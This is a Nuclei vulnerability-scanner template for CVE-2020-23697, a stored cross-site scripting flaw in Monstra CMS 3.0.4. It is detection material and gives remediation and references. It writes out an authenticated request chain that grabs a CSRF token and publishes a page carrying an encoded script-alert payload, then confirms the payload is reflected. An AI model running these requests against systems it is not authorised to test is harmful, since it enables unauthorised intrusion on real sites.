nuclei-templates/http/cves/2020/CVE-2020-23697.yaml

72 lines
2.7 KiB
YAML

id: CVE-2020-23697
info:
name: Monstra CMS 3.0.4 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
reference:
- https://github.com/monstra-cms/monstra/issues/463
- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-23697
cwe-id: CWE-79
epss-score: 0.0009
epss-percentile: 0.37924
cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: monstra
product: monstra_cms
tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST /admin/index.php?id=dashboard HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login={{username}}&password={{password}}&login_submit=Log+In
- |
GET /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
- |
GET /{{string}} HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'contains(header_4, "text/html")'
- 'status_code_4 == 200'
- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
condition: and
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'id="csrf" name="csrf" value="(.*)">'
internal: true
part: body
# digest: 4a0a00473045022100c709e5d1db76ff716ac0eabd9776a9f5757b22f934d87bf50062d69116656ded0220673f0e7c4730e436325100080f8120d136a56de9dc691718b925579cdad5f13e:922c64590222798bb761d5b6d8e72950